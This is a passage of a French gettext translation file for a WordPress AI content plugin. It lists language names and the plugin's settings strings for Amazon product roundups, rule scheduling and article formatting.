msgid "Cebuano" msgstr "Cebuano" #: res/aiomatic-amazon-list.php:74 res/aiomatic-rules-list.php:74 #: res/aiomatic-single-list.php:75 res/aiomatic-youtube-list.php:74 msgid "Chichewa" msgstr "Chichewa" #: res/aiomatic-amazon-list.php:75 res/aiomatic-rules-list.php:75 #: res/aiomatic-single-list.php:76 res/aiomatic-youtube-list.php:75 msgid "Corsican" msgstr "Corse" #: res/aiomatic-amazon-list.php:76 res/aiomatic-rules-list.php:76 #: res/aiomatic-single-list.php:77 res/aiomatic-youtube-list.php:76 msgid "Frisian" msgstr "Frison" #: res/aiomatic-amazon-list.php:77 res/aiomatic-rules-list.php:77 #: res/aiomatic-single-list.php:78 res/aiomatic-youtube-list.php:77 msgid "Scottish Gaelic" msgstr "Gaelic écossais" #: res/aiomatic-amazon-list.php:78 res/aiomatic-rules-list.php:78 #: res/aiomatic-single-list.php:79 res/aiomatic-youtube-list.php:78 msgid "Hausa" msgstr "Hausa" #: res/aiomatic-amazon-list.php:79 res/aiomatic-rules-list.php:79 #: res/aiomatic-single-list.php:80 res/aiomatic-youtube-list.php:79 msgid "Hawaian" msgstr "Hawaïen" #: res/aiomatic-amazon-list.php:80 res/aiomatic-rules-list.php:80 #: res/aiomatic-single-list.php:81 res/aiomatic-youtube-list.php:80 msgid "Hmong" msgstr "Hmong" #: res/aiomatic-amazon-list.php:81 res/aiomatic-rules-list.php:81 #: res/aiomatic-single-list.php:82 res/aiomatic-youtube-list.php:81 msgid "Igbo" msgstr "Igbo" #: res/aiomatic-amazon-list.php:82 res/aiomatic-rules-list.php:82 #: res/aiomatic-single-list.php:83 res/aiomatic-youtube-list.php:82 msgid "Javanese" msgstr "Javanais" #: res/aiomatic-amazon-list.php:83 res/aiomatic-rules-list.php:83 #: res/aiomatic-single-list.php:84 res/aiomatic-youtube-list.php:83 msgid "Kazakh" msgstr "Kazakh" #: res/aiomatic-amazon-list.php:84 res/aiomatic-rules-list.php:84 #: res/aiomatic-single-list.php:85 res/aiomatic-youtube-list.php:84 msgid "Khmer" msgstr "Khmer" #: res/aiomatic-amazon-list.php:85 res/aiomatic-rules-list.php:85 #: res/aiomatic-single-list.php:86 res/aiomatic-youtube-list.php:85 msgid "Kurdish" msgstr "Kurde" #: res/aiomatic-amazon-list.php:86 res/aiomatic-rules-list.php:86 #: res/aiomatic-single-list.php:87 res/aiomatic-youtube-list.php:86 msgid "Kyrgyz" msgstr "Kyrgyz" #: res/aiomatic-amazon-list.php:87 res/aiomatic-rules-list.php:87 #: res/aiomatic-single-list.php:88 res/aiomatic-youtube-list.php:87 msgid "Lao" msgstr "Laos" #: res/aiomatic-amazon-list.php:88 res/aiomatic-rules-list.php:88 #: res/aiomatic-single-list.php:89 res/aiomatic-youtube-list.php:88 msgid "Luxembourgish" msgstr "Luxembourgeois" #: res/aiomatic-amazon-list.php:89 res/aiomatic-rules-list.php:89 #: res/aiomatic-single-list.php:90 res/aiomatic-youtube-list.php:89 msgid "Malagasy" msgstr "Malgache" #: res/aiomatic-amazon-list.php:90 res/aiomatic-rules-list.php:90 #: res/aiomatic-single-list.php:91 res/aiomatic-youtube-list.php:90 msgid "Malayalam" msgstr "Malayâlam" #: res/aiomatic-amazon-list.php:91 res/aiomatic-rules-list.php:91 #: res/aiomatic-single-list.php:92 res/aiomatic-youtube-list.php:91 msgid "Maori" msgstr "Maori" #: res/aiomatic-amazon-list.php:92 res/aiomatic-rules-list.php:92 #: res/aiomatic-single-list.php:93 res/aiomatic-youtube-list.php:92 msgid "Marathi" msgstr "Marathi" #: res/aiomatic-amazon-list.php:93 res/aiomatic-rules-list.php:93 #: res/aiomatic-single-list.php:94 res/aiomatic-youtube-list.php:93 msgid "Mongolian" msgstr "Mongol" #: res/aiomatic-amazon-list.php:94 res/aiomatic-rules-list.php:94 #: res/aiomatic-single-list.php:95 res/aiomatic-youtube-list.php:94 msgid "Nepali" msgstr "Népalais" #: res/aiomatic-amazon-list.php:95 res/aiomatic-rules-list.php:95 #: res/aiomatic-single-list.php:96 res/aiomatic-youtube-list.php:95 msgid "Pashto" msgstr "Pachtoune" #: res/aiomatic-amazon-list.php:96 res/aiomatic-rules-list.php:96 #: res/aiomatic-single-list.php:97 res/aiomatic-youtube-list.php:96 msgid "Punjabi" msgstr "Pendjabi" #: res/aiomatic-amazon-list.php:97 res/aiomatic-rules-list.php:97 #: res/aiomatic-single-list.php:98 res/aiomatic-youtube-list.php:97 msgid "Samoan" msgstr "Samoan" #: res/aiomatic-amazon-list.php:98 res/aiomatic-rules-list.php:98 #: res/aiomatic-single-list.php:99 res/aiomatic-youtube-list.php:98 msgid "Sesotho" msgstr "Sesotho" #: res/aiomatic-amazon-list.php:99 res/aiomatic-rules-list.php:99 #: res/aiomatic-single-list.php:100 res/aiomatic-youtube-list.php:99 msgid "Shona" msgstr "Shona" #: res/aiomatic-amazon-list.php:100 res/aiomatic-rules-list.php:100 #: res/aiomatic-single-list.php:101 res/aiomatic-youtube-list.php:100 msgid "Sindhi" msgstr "Sindhi" #: res/aiomatic-amazon-list.php:101 res/aiomatic-rules-list.php:101 #: res/aiomatic-single-list.php:102 res/aiomatic-youtube-list.php:101 msgid "Sinhala" msgstr "Cingalais" #: res/aiomatic-amazon-list.php:102 res/aiomatic-rules-list.php:102 #: res/aiomatic-single-list.php:103 res/aiomatic-youtube-list.php:102 msgid "Somali" msgstr "Somalien" #: res/aiomatic-amazon-list.php:103 res/aiomatic-rules-list.php:103 #: res/aiomatic-single-list.php:104 res/aiomatic-youtube-list.php:103 msgid "Sundanese" msgstr "Soudanais" #: res/aiomatic-amazon-list.php:105 res/aiomatic-rules-list.php:105 #: res/aiomatic-single-list.php:106 res/aiomatic-youtube-list.php:105 msgid "Tajik" msgstr "Tadjik" #: res/aiomatic-amazon-list.php:106 res/aiomatic-rules-list.php:106 #: res/aiomatic-single-list.php:107 res/aiomatic-youtube-list.php:106 msgid "Uzbek" msgstr "Ouzbek" #: res/aiomatic-amazon-list.php:107 res/aiomatic-rules-list.php:107 #: res/aiomatic-single-list.php:108 res/aiomatic-youtube-list.php:107 msgid "Xhosa" msgstr "Xhosa" #: res/aiomatic-amazon-list.php:108 res/aiomatic-rules-list.php:108 #: res/aiomatic-single-list.php:109 res/aiomatic-youtube-list.php:108 msgid "Yoruba" msgstr "Yoruba" #: res/aiomatic-amazon-list.php:109 res/aiomatic-rules-list.php:109 #: res/aiomatic-single-list.php:110 res/aiomatic-youtube-list.php:109 msgid "Zulu" msgstr "Zulu" #: res/aiomatic-amazon-list.php:110 res/aiomatic-rules-list.php:110 #: res/aiomatic-single-list.php:111 res/aiomatic-youtube-list.php:110 msgid "Assammese" msgstr "Assammese" #: res/aiomatic-amazon-list.php:111 res/aiomatic-rules-list.php:111 #: res/aiomatic-single-list.php:112 res/aiomatic-youtube-list.php:111 msgid "Aymara" msgstr "Aymara" #: res/aiomatic-amazon-list.php:112 res/aiomatic-rules-list.php:112 #: res/aiomatic-single-list.php:113 res/aiomatic-youtube-list.php:112 msgid "Bambara" msgstr "Bambara" #: res/aiomatic-amazon-list.php:113 res/aiomatic-rules-list.php:113 #: res/aiomatic-single-list.php:114 res/aiomatic-youtube-list.php:113 msgid "Bhojpuri" msgstr "Bhojpuri" #: res/aiomatic-amazon-list.php:114 res/aiomatic-rules-list.php:114 #: res/aiomatic-single-list.php:115 res/aiomatic-youtube-list.php:114 msgid "Dhivehi" msgstr "Divehi" #: res/aiomatic-amazon-list.php:115 res/aiomatic-rules-list.php:115 #: res/aiomatic-single-list.php:116 res/aiomatic-youtube-list.php:115 msgid "Dogri" msgstr "Dogri" #: res/aiomatic-amazon-list.php:116 res/aiomatic-rules-list.php:116 #: res/aiomatic-single-list.php:117 res/aiomatic-youtube-list.php:116 msgid "Ewe" msgstr "Éwé" #: res/aiomatic-amazon-list.php:117 res/aiomatic-rules-list.php:117 #: res/aiomatic-single-list.php:118 res/aiomatic-youtube-list.php:117 msgid "Guarani" msgstr "Guarani" #: res/aiomatic-amazon-list.php:118 res/aiomatic-rules-list.php:118 #: res/aiomatic-single-list.php:119 res/aiomatic-youtube-list.php:118 msgid "Ilocano" msgstr "Ilocano" #: res/aiomatic-amazon-list.php:119 res/aiomatic-rules-list.php:119 #: res/aiomatic-single-list.php:120 res/aiomatic-youtube-list.php:119 msgid "Kinyarwanda" msgstr "Kinyarwanda" #: res/aiomatic-amazon-list.php:120 res/aiomatic-rules-list.php:120 #: res/aiomatic-single-list.php:121 res/aiomatic-youtube-list.php:120 msgid "Konkani" msgstr "Konkani" #: res/aiomatic-amazon-list.php:121 res/aiomatic-rules-list.php:121 #: res/aiomatic-single-list.php:122 res/aiomatic-youtube-list.php:121 msgid "Krio" msgstr "Krio" #: res/aiomatic-amazon-list.php:122 res/aiomatic-rules-list.php:122 #: res/aiomatic-single-list.php:123 res/aiomatic-youtube-list.php:122 msgid "Kurdish - Sorani" msgstr "Kurde - Sorani" #: res/aiomatic-amazon-list.php:123 res/aiomatic-rules-list.php:123 #: res/aiomatic-single-list.php:124 res/aiomatic-youtube-list.php:123 msgid "Lingala" msgstr "Lingala" #: res/aiomatic-amazon-list.php:124 res/aiomatic-rules-list.php:124 #: res/aiomatic-single-list.php:125 res/aiomatic-youtube-list.php:124 msgid "Luganda" msgstr "Luganda" #: res/aiomatic-amazon-list.php:125 res/aiomatic-rules-list.php:125 #: res/aiomatic-single-list.php:126 res/aiomatic-youtube-list.php:125 msgid "Maithili" msgstr "Maithili" #: res/aiomatic-amazon-list.php:126 res/aiomatic-rules-list.php:126 #: res/aiomatic-single-list.php:127 res/aiomatic-youtube-list.php:126 msgid "Meiteilon" msgstr "Meiteilon" #: res/aiomatic-amazon-list.php:127 res/aiomatic-rules-list.php:127 #: res/aiomatic-single-list.php:128 res/aiomatic-youtube-list.php:127 msgid "Mizo" msgstr "Mizo" #: res/aiomatic-amazon-list.php:128 res/aiomatic-rules-list.php:128 #: res/aiomatic-single-list.php:129 res/aiomatic-youtube-list.php:128 msgid "Odia" msgstr "Odia" #: res/aiomatic-amazon-list.php:129 res/aiomatic-rules-list.php:129 #: res/aiomatic-single-list.php:130 res/aiomatic-youtube-list.php:129 msgid "Oromo" msgstr "Oromo" #: res/aiomatic-amazon-list.php:130 res/aiomatic-rules-list.php:130 #: res/aiomatic-single-list.php:131 res/aiomatic-youtube-list.php:130 msgid "Quechua" msgstr "Quechua" #: res/aiomatic-amazon-list.php:131 res/aiomatic-rules-list.php:131 #: res/aiomatic-single-list.php:132 res/aiomatic-youtube-list.php:131 msgid "Sanskrit" msgstr "Sanscrit" #: res/aiomatic-amazon-list.php:132 res/aiomatic-rules-list.php:132 #: res/aiomatic-single-list.php:133 res/aiomatic-youtube-list.php:132 msgid "Sepedi" msgstr "Sepedi" #: res/aiomatic-amazon-list.php:133 res/aiomatic-rules-list.php:133 #: res/aiomatic-single-list.php:134 res/aiomatic-youtube-list.php:133 msgid "Tatar" msgstr "Tatar" #: res/aiomatic-amazon-list.php:134 res/aiomatic-rules-list.php:134 #: res/aiomatic-single-list.php:135 res/aiomatic-youtube-list.php:134 msgid "Tigrinya" msgstr "Tigrinya" #: res/aiomatic-amazon-list.php:135 res/aiomatic-rules-list.php:135 #: res/aiomatic-single-list.php:136 res/aiomatic-youtube-list.php:135 msgid "Tsonga" msgstr "Tsonga" #: res/aiomatic-amazon-list.php:136 res/aiomatic-rules-list.php:136 #: res/aiomatic-single-list.php:137 res/aiomatic-youtube-list.php:136 msgid "Turkmen" msgstr "Turkmène" #: res/aiomatic-amazon-list.php:137 res/aiomatic-rules-list.php:137 #: res/aiomatic-single-list.php:138 res/aiomatic-youtube-list.php:137 msgid "Twi" msgstr "Twi" #: res/aiomatic-amazon-list.php:138 res/aiomatic-rules-list.php:138 #: res/aiomatic-single-list.php:139 res/aiomatic-youtube-list.php:138 msgid "Uyghur" msgstr "Ouïghour" #: res/aiomatic-amazon-list.php:157 res/aiomatic-embeddings.php:8 #: res/aiomatic-images.php:8 res/aiomatic-playground.php:8 #: res/aiomatic-rules-list.php:157 res/aiomatic-shortcodes.php:8 #: res/aiomatic-training.php:9 res/aiomatic-youtube-list.php:157 msgid "" "You must add an OpenAI API Key into the plugin's 'Main Settings' menu before " "you can use this feature!" msgstr "" "Vous devez ajouter une clé API OpenAI dans le menu \"Paramètres principaux\" " "du plugin avant de pouvoir utiliser cette fonctionnalité !" #: res/aiomatic-amazon-list.php:164 msgid "Amazon Product Roundup Tutorial" msgstr "Tutoriel sur les produits Amazon" #: res/aiomatic-amazon-list.php:179 res/aiomatic-chatbot.php:327 #: res/aiomatic-main.php:1473 res/aiomatic-rules-list.php:179 #: res/aiomatic-spinner-list.php:537 res/aiomatic-youtube-list.php:179 msgid "Settings saved." msgstr "Paramètres sauvegardés." #: res/aiomatic-amazon-list.php:192 res/aiomatic-embeddings.php:638 #: res/aiomatic-limits-statistics.php:670 #: res/aiomatic-limits-statistics.php:1382 res/aiomatic-main.php:6260 #: res/aiomatic-rules-list.php:192 res/aiomatic-spinner-list.php:2833 #: res/aiomatic-training.php:396 res/aiomatic-training.php:476 #: res/aiomatic-youtube-list.php:192 msgid "ID" msgstr "ID" #: res/aiomatic-amazon-list.php:196 res/aiomatic-main.php:6264 #: res/aiomatic-rules-list.php:196 res/aiomatic-youtube-list.php:196 msgid "This is the ID of the rule." msgstr "Il s’agit de l’ID de la règle." #: res/aiomatic-amazon-list.php:202 msgid "Product Search Keywords" msgstr "Mots clés pour la recherche de produits" #: res/aiomatic-amazon-list.php:206 msgid "" "Please provide the a search keyword for Amazon products to be included in " "the created article." msgstr "" "Veuillez fournir un mot-clé de recherche pour les produits Amazon à inclure " "dans l'article créé." #: res/aiomatic-amazon-list.php:212 res/aiomatic-rules-list.php:222 #: res/aiomatic-youtube-list.php:212 msgid "Schedule" msgstr "Planifier" #: res/aiomatic-amazon-list.php:219 res/aiomatic-rules-list.php:229 #: res/aiomatic-youtube-list.php:219 msgid "" "Select the interval in minutes after which you want this rule to run. " "Defined in minutes." msgstr "" "Sélectionnez l'intervalle en minutes après lequel vous souhaitez que cette " "règle s'exécute. Défini en minutes." #: res/aiomatic-amazon-list.php:223 res/aiomatic-rules-list.php:233 #: res/aiomatic-youtube-list.php:223 msgid "" "Select the interval in hours after which you want this rule to run. Defined " "in hours." msgstr "" "Sélectionnez l'intervalle en heures après lequel vous souhaitez que cette " "règle s'exécute. Défini en heures." #: res/aiomatic-amazon-list.php:230 res/aiomatic-rules-list.php:240 #: res/aiomatic-youtube-list.php:230 msgid "# Of Posts" msgstr "# Nb de d'Articles" #: res/aiomatic-amazon-list.php:234 res/aiomatic-rules-list.php:244 #: res/aiomatic-youtube-list.php:234 msgid "Select the maximum number of posts that this rule can create at once." msgstr "" "Sélectionnez le nombre maximal d'Articles que cette règle peut créer " "simultanément." #: res/aiomatic-amazon-list.php:240 res/aiomatic-rules-list.php:250 #: res/aiomatic-youtube-list.php:240 msgid "More Options" msgstr "Plus d’options" #: res/aiomatic-amazon-list.php:244 res/aiomatic-limits-statistics.php:1436 #: res/aiomatic-rules-list.php:254 res/aiomatic-youtube-list.php:244 msgid "Shows advanced settings for this rule." msgstr "Affiche les paramètres avancés de cette règle." #: res/aiomatic-amazon-list.php:250 res/aiomatic-limits-statistics.php:1442 #: res/aiomatic-main.php:2647 res/aiomatic-main.php:6270 #: res/aiomatic-rules-list.php:260 res/aiomatic-youtube-list.php:250 msgid "Del" msgstr "Supprimer" #: res/aiomatic-amazon-list.php:254 res/aiomatic-limits-statistics.php:1446 #: res/aiomatic-main.php:2651 res/aiomatic-main.php:6274 #: res/aiomatic-rules-list.php:264 res/aiomatic-youtube-list.php:254 msgid "Do you want to delete this rule?" msgstr "Souhaitez-vous supprimer cette règle ?" #: res/aiomatic-amazon-list.php:260 res/aiomatic-limits-statistics.php:1452 #: res/aiomatic-rules-list.php:270 res/aiomatic-youtube-list.php:260 msgid "Active" msgstr "Actif" #: res/aiomatic-amazon-list.php:264 res/aiomatic-rules-list.php:274 #: res/aiomatic-youtube-list.php:264 msgid "" "Do you want to enable this rule? You can deactivate any rule (you don't have " "to delete them to deactivate them)." msgstr "" "Voulez-vous activer cette règle ? Vous pouvez désactiver n'importe quelle " "règle (il n'est pas nécessaire de les supprimer pour les désactiver)." #: res/aiomatic-amazon-list.php:272 res/aiomatic-rules-list.php:282 #: res/aiomatic-youtube-list.php:272 msgid "Info" msgstr "Info" #: res/aiomatic-amazon-list.php:276 res/aiomatic-rules-list.php:286 #: res/aiomatic-youtube-list.php:276 msgid "The number of items (posts, pages) this rule has generated so far." msgstr "" "Le nombre d’éléments (articles, pages) que cette règle a générés jusqu’à " "présent." #: res/aiomatic-amazon-list.php:282 res/aiomatic-rules-list.php:292 #: res/aiomatic-youtube-list.php:282 msgid "Actions" msgstr "Actions" #: res/aiomatic-amazon-list.php:286 res/aiomatic-rules-list.php:296 #: res/aiomatic-youtube-list.php:286 msgid "" "Do you want to run this rule now? Note that only one instance of a rule is " "allowed at once." msgstr "" "Voulez-vous exécuter cette règle maintenant ? Notez qu'une seule instance " "d'une règle est autorisée à la fois." #: res/aiomatic-amazon-list.php:320 res/aiomatic-limits-statistics.php:1515 #: res/aiomatic-rules-list.php:335 res/aiomatic-youtube-list.php:320 msgid "New Rule" msgstr "Nouvelle règle" #: res/aiomatic-amazon-list.php:326 res/aiomatic-amazon-list.php:2709 msgid "Amazon Search Options" msgstr "Options de recherche sur Amazon" #: res/aiomatic-amazon-list.php:334 res/aiomatic-amazon-list.php:2712 #, php-format msgid "" "Insert your Amazon Associate ID (Optional). Learn how to get one here. Also, you need to sign up for Amazon " "Affiliate program here. Please note that " "starting from 2019, Amazon requires your account to generate at least 1 " "sales in the last 30 days, before they allow access to the Amazon Product " "API. For details, please check this link" msgstr "" "Insérez votre identifiant associé à Amazon (facultatif). Apprenez à " "l'obtenir ici. Vous devez également vous " "inscrire au programme d'affiliation Amazon ici. Veuillez noter qu'à partir de 2019, Amazon exige que votre compte génère " "au moins 1 vente au cours des 30 derniers jours, avant d'autoriser l'accès à " "l'Amazon Product API. Pour plus de détails, veuillez consulter ce lien" #: res/aiomatic-amazon-list.php:338 msgid "Amazon Associate ID (Optional):" msgstr "Identifiant associé à Amazon (facultatif) :" #: res/aiomatic-amazon-list.php:351 msgid "Select the country where you have registred your affiliate account." msgstr "" "Sélectionnez le pays dans lequel vous avez enregistré votre compte d'affilié." #: res/aiomatic-amazon-list.php:355 msgid "Amazon Target Country:" msgstr "Amazon Pays cible :" #: res/aiomatic-amazon-list.php:375 msgid "" "Do you want to set a minimum price for the imported item? Price is in " "pennies: 1000 is 10$." msgstr "" "Souhaitez-vous fixer un prix minimum pour l'article importé ? Le prix est " "exprimé en centimes : 1000 est 10$." #: res/aiomatic-amazon-list.php:379 msgid "Min Price in Pennies:" msgstr "Prix minimum en centimes :" #: res/aiomatic-amazon-list.php:392 msgid "" "Do you want to set a maximum price for the imported item? Price is in " "pennies: 1000 is 10$." msgstr "" "Souhaitez-vous fixer un prix maximum pour l'article importé ? Le prix est " "exprimé en centimes : 1000 est 10$." #: res/aiomatic-amazon-list.php:396 msgid "Max Price in Pennies:" msgstr "Prix maximum en centimes :" #: res/aiomatic-amazon-list.php:408 msgid "" "Enter the maximum number of products to include in the product roundup " "article. You can also enter number ranges like: 3-4" msgstr "" "Saisissez le nombre maximum de produits à inclure dans l'article de " "synthèse. Vous pouvez également saisir des fourchettes de nombres comme : 3-4" #: res/aiomatic-amazon-list.php:412 msgid "Max Number Of Products To Include:" msgstr "Nombre maximum de produits à inclure :" #: res/aiomatic-amazon-list.php:424 msgid "" "Select the type of sorting of the returned results. This will work only if " "you also set a value to the 'Amazon Category' settings field." msgstr "" "Sélectionnez le type de tri des résultats renvoyés. Cela ne fonctionnera que " "si vous avez également défini une valeur dans le champ de configuration " "\"Catégorie Amazon\"." #: res/aiomatic-amazon-list.php:428 msgid "Sort Results By:" msgstr "Trier les résultats par :" #: res/aiomatic-amazon-list.php:432 res/aiomatic-amazon-list.php:2787 #: res/aiomatic-embeddings.php:637 res/aiomatic-limits-statistics.php:903 #: res/aiomatic-limits-statistics.php:1190 res/aiomatic-spinner-list.php:2828 msgid "None" msgstr "Aucun" #: res/aiomatic-amazon-list.php:433 res/aiomatic-amazon-list.php:2792 #: res/aiomatic-main.php:5353 msgid "Relevance" msgstr "Pertinence" #: res/aiomatic-amazon-list.php:434 msgid "Price:LowToHigh" msgstr "Prix : Bas à élevé" #: res/aiomatic-amazon-list.php:435 res/aiomatic-amazon-list.php:2802 msgid "Price:HighToLow" msgstr "Prix : élevé à bas" #: res/aiomatic-amazon-list.php:436 res/aiomatic-amazon-list.php:2807 msgid "NewestArrivals" msgstr "Derniers arrivés" #: res/aiomatic-amazon-list.php:437 res/aiomatic-amazon-list.php:2812 msgid "Featured" msgstr "En vedette" #: res/aiomatic-amazon-list.php:438 res/aiomatic-amazon-list.php:2817 msgid "AvgCustomerReviews" msgstr "Nombre moyen d'avis de clients" #: res/aiomatic-amazon-list.php:449 res/aiomatic-amazon-list.php:2824 msgid "" "If enabled, the products will be shuffled, randomizing their order on each " "run." msgstr "" "Si cette option est activée, les produits seront mélangés, ce qui rendra " "leur ordre aléatoire à chaque exécution." #: res/aiomatic-amazon-list.php:453 msgid "Randomize Product Order:" msgstr "Randomiser l'ordre des produits :" #: res/aiomatic-amazon-list.php:460 res/aiomatic-amazon-list.php:2839 msgid "AI Writer Options" msgstr "Options du rédacteur AI" #: res/aiomatic-amazon-list.php:468 res/aiomatic-amazon-list.php:2843 msgid "" "If enabled, the article will be written from a perspective that sometimes " "can make it sound like the writer has first-hand experience with the " "products." msgstr "" "S'il est validé, l'article sera rédigé d'un point de vue qui peut parfois " "donner l'impression que l'auteur a une expérience directe des produits." #: res/aiomatic-amazon-list.php:472 msgid "Enable First-Hand Experience:" msgstr "Permettre une expérience de première main :" #: res/aiomatic-amazon-list.php:483 res/aiomatic-amazon-list.php:2861 msgid "Select what you want to do with product titles in articles." msgstr "" "Choisissez ce que vous voulez faire avec les titres de produits dans les " "articles." #: res/aiomatic-amazon-list.php:487 msgid "Add Product Titles To Content As:" msgstr "Ajoutez des titres de produits au contenu en tant que :" #: res/aiomatic-amazon-list.php:491 res/aiomatic-amazon-list.php:2872 #: res/aiomatic-rules-list.php:401 res/aiomatic-rules-list.php:3048 #: res/aiomatic-youtube-list.php:424 res/aiomatic-youtube-list.php:2814 msgid "h2" msgstr "h2" #: res/aiomatic-amazon-list.php:492 res/aiomatic-amazon-list.php:2877 #: res/aiomatic-rules-list.php:402 res/aiomatic-rules-list.php:3053 #: res/aiomatic-youtube-list.php:425 res/aiomatic-youtube-list.php:2819 msgid "h3" msgstr "h3" #: res/aiomatic-amazon-list.php:493 res/aiomatic-amazon-list.php:2882 #: res/aiomatic-rules-list.php:403 res/aiomatic-rules-list.php:3058 #: res/aiomatic-youtube-list.php:426 res/aiomatic-youtube-list.php:2824 msgid "Bold" msgstr "Gras" #: res/aiomatic-amazon-list.php:494 res/aiomatic-amazon-list.php:2887 #: res/aiomatic-rules-list.php:404 res/aiomatic-rules-list.php:3063 #: res/aiomatic-youtube-list.php:427 res/aiomatic-youtube-list.php:2829 msgid "Italic" msgstr "Italique" #: res/aiomatic-amazon-list.php:495 res/aiomatic-amazon-list.php:2892 #: res/aiomatic-rules-list.php:405 res/aiomatic-rules-list.php:3068 #: res/aiomatic-youtube-list.php:428 res/aiomatic-youtube-list.php:2834 msgid "Bold and Italic" msgstr "Gras et italique" #: res/aiomatic-amazon-list.php:496 res/aiomatic-amazon-list.php:2897 #: res/aiomatic-rules-list.php:406 res/aiomatic-rules-list.php:3073 #: res/aiomatic-youtube-list.php:429 res/aiomatic-youtube-list.php:2839 msgid "Paragraph" msgstr "Paragraphe" #: res/aiomatic-amazon-list.php:497 res/aiomatic-amazon-list.php:2902 #: res/aiomatic-rules-list.php:407 res/aiomatic-rules-list.php:3078 #: res/aiomatic-youtube-list.php:430 res/aiomatic-youtube-list.php:2844 msgid "Plain Text" msgstr "Texte brut" #: res/aiomatic-amazon-list.php:498 res/aiomatic-amazon-list.php:2907 #: res/aiomatic-rules-list.php:408 res/aiomatic-rules-list.php:3083 #: res/aiomatic-youtube-list.php:431 res/aiomatic-youtube-list.php:2849 msgid "Don't Add Sections" msgstr "Ne pas ajouter de sections" #: res/aiomatic-amazon-list.php:507 res/aiomatic-amazon-list.php:2914 #: res/aiomatic-rules-list.php:417 res/aiomatic-rules-list.php:3090 #: res/aiomatic-youtube-list.php:440 res/aiomatic-youtube-list.php:2856 #, php-format msgid "" "Enter the number of paragraphs to create for each section. These will also " "be set as article headings. You can also set value ranges, example: 5-7. In " "this case, a random number will be selected in this range. Please use only " "numeric values in this field. This field will set the value of the " "%%paragraphs_per_section%% shortcode." msgstr "" "Saisissez le nombre de paragraphes à créer pour chaque section. Ces " "paragraphes seront également définis comme titres d'articles. Vous pouvez " "également définir des plages de valeurs, par exemple : 5-7. Dans ce cas, un " "nombre aléatoire sera sélectionné dans cette fourchette. Veuillez n'utiliser " "que des valeurs numériques dans ce champ. Ce champ définit la valeur du " "shortcode %%paragraphs_per_section%%." #: res/aiomatic-amazon-list.php:511 res/aiomatic-rules-list.php:421 #: res/aiomatic-youtube-list.php:444 msgid "Number Of Paragraphs Per Section:" msgstr "Nombre de paragraphes par section :" #: res/aiomatic-amazon-list.php:522 res/aiomatic-amazon-list.php:2926 msgid "Select if you want to add the product images to the article." msgstr "" "Sélectionnez si vous souhaitez ajouter les images du produit à l'article." #: res/aiomatic-amazon-list.php:526 msgid "Add Product Images To The Article:" msgstr "Ajoutez des images de produits à l'article :" #: res/aiomatic-amazon-list.php:537 res/aiomatic-amazon-list.php:2943 msgid "" "Select if you would like to add a relevant YouTube video to the end of the " "created article." msgstr "" "Sélectionnez si vous souhaitez ajouter une vidéo YouTube pertinente à la fin " "de l'article créé." #: res/aiomatic-amazon-list.php:541 msgid "Add A Relevant YouTube Video To The Article:" msgstr "Ajoutez une vidéo YouTube pertinente à l'article :" #: res/aiomatic-amazon-list.php:552 res/aiomatic-rules-list.php:497 #: res/aiomatic-youtube-list.php:520 msgid "Set the text of the outro section header. This is optional." msgstr "" "Définit le texte de l'en-tête de la section de l'extrait de l'article. Cette " "option est facultative." #: res/aiomatic-amazon-list.php:556 res/aiomatic-rules-list.php:501 #: res/aiomatic-youtube-list.php:524 msgid "Article Outro Section Header Text:" msgstr "Texte d'en-tête de la section d'article :" #: res/aiomatic-amazon-list.php:568 res/aiomatic-amazon-list.php:2971 #: res/aiomatic-rules-list.php:513 res/aiomatic-rules-list.php:3182 #: res/aiomatic-youtube-list.php:536 res/aiomatic-youtube-list.php:2952 msgid "" "Select if you want to add a Table of Contents section to the created post." msgstr "" "Sélectionnez si vous souhaitez ajouter une table des matières au message " "créé." #: res/aiomatic-amazon-list.php:572 res/aiomatic-rules-list.php:517 #: res/aiomatic-youtube-list.php:540 msgid "Add Article Table Of Contents:" msgstr "Ajouter une table des matières à l'article :" #: res/aiomatic-amazon-list.php:584 res/aiomatic-amazon-list.php:2989 #: res/aiomatic-rules-list.php:529 res/aiomatic-rules-list.php:3200 #: res/aiomatic-youtube-list.php:552 res/aiomatic-youtube-list.php:2970 msgid "" "Set the text of the Table of Contents section header. Default is: Table of " "Contents" msgstr "" "Définit le texte de la table des matières. La valeur par défaut est : Table " "des matières" #: res/aiomatic-amazon-list.php:588 res/aiomatic-rules-list.php:533 #: res/aiomatic-youtube-list.php:556 msgid "Article Table Of Contents Section Header Text:" msgstr "Texte d'en-tête du Q&R Question Réponse) de l'article :" #: res/aiomatic-amazon-list.php:599 res/aiomatic-amazon-list.php:3001 #: res/aiomatic-rules-list.php:544 res/aiomatic-rules-list.php:3212 #: res/aiomatic-youtube-list.php:567 res/aiomatic-youtube-list.php:2982 msgid "" "Select if you want to add a Q&A section to the created post. To enable Q&A " "for articles, be sure to add a prompt also in the 'Article Q&A Prompt' " "settings field from below." msgstr "" "Sélectionnez si vous souhaitez ajouter une section de questions et réponses " "(Q&R) au message créé. Pour activer les questions-réponses pour les " "articles, assurez-vous d'ajouter également une invite dans le champ de " "configuration \"Invitation à répondre aux questions de l'article\" ci-" "dessous." #: res/aiomatic-amazon-list.php:603 res/aiomatic-rules-list.php:548 #: res/aiomatic-youtube-list.php:571 msgid "Add Article Q&A Section:" msgstr "Ajouter des Articles Q&R (questions et réponses) :" #: res/aiomatic-amazon-list.php:614 res/aiomatic-rules-list.php:559 #: res/aiomatic-youtube-list.php:582 msgid "Set the text of the Q&A section header. Default is: Q&A" msgstr "" "Définir le texte de l'en-tête de la section Q&R (Question Réponse). La " "valeur par défaut est : Q&R" #: res/aiomatic-amazon-list.php:618 res/aiomatic-rules-list.php:563 #: res/aiomatic-youtube-list.php:586 msgid "Article Q&A Section Header Text:" msgstr "Texte d'en-tête du Q&R (Question Réponse) de l'article :" #: res/aiomatic-amazon-list.php:625 res/aiomatic-amazon-list.php:3028 #: res/aiomatic-rules-list.php:570 res/aiomatic-rules-list.php:3239 #: res/aiomatic-single-list.php:514 res/aiomatic-youtube-list.php:593 #: res/aiomatic-youtube-list.php:3009 msgid "Content Parameters" msgstr "Paramètres de contenu" #: res/aiomatic-amazon-list.php:632 res/aiomatic-amazon-list.php:3032 #: res/aiomatic-rules-list.php:577 res/aiomatic-rules-list.php:3243 #: res/aiomatic-youtube-list.php:600 res/aiomatic-youtube-list.php:3013 #, php-format msgid "" "Set the language of the created content. This will set the value of the " "%%language%% shortcode, which can be used in prompts below. You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators." 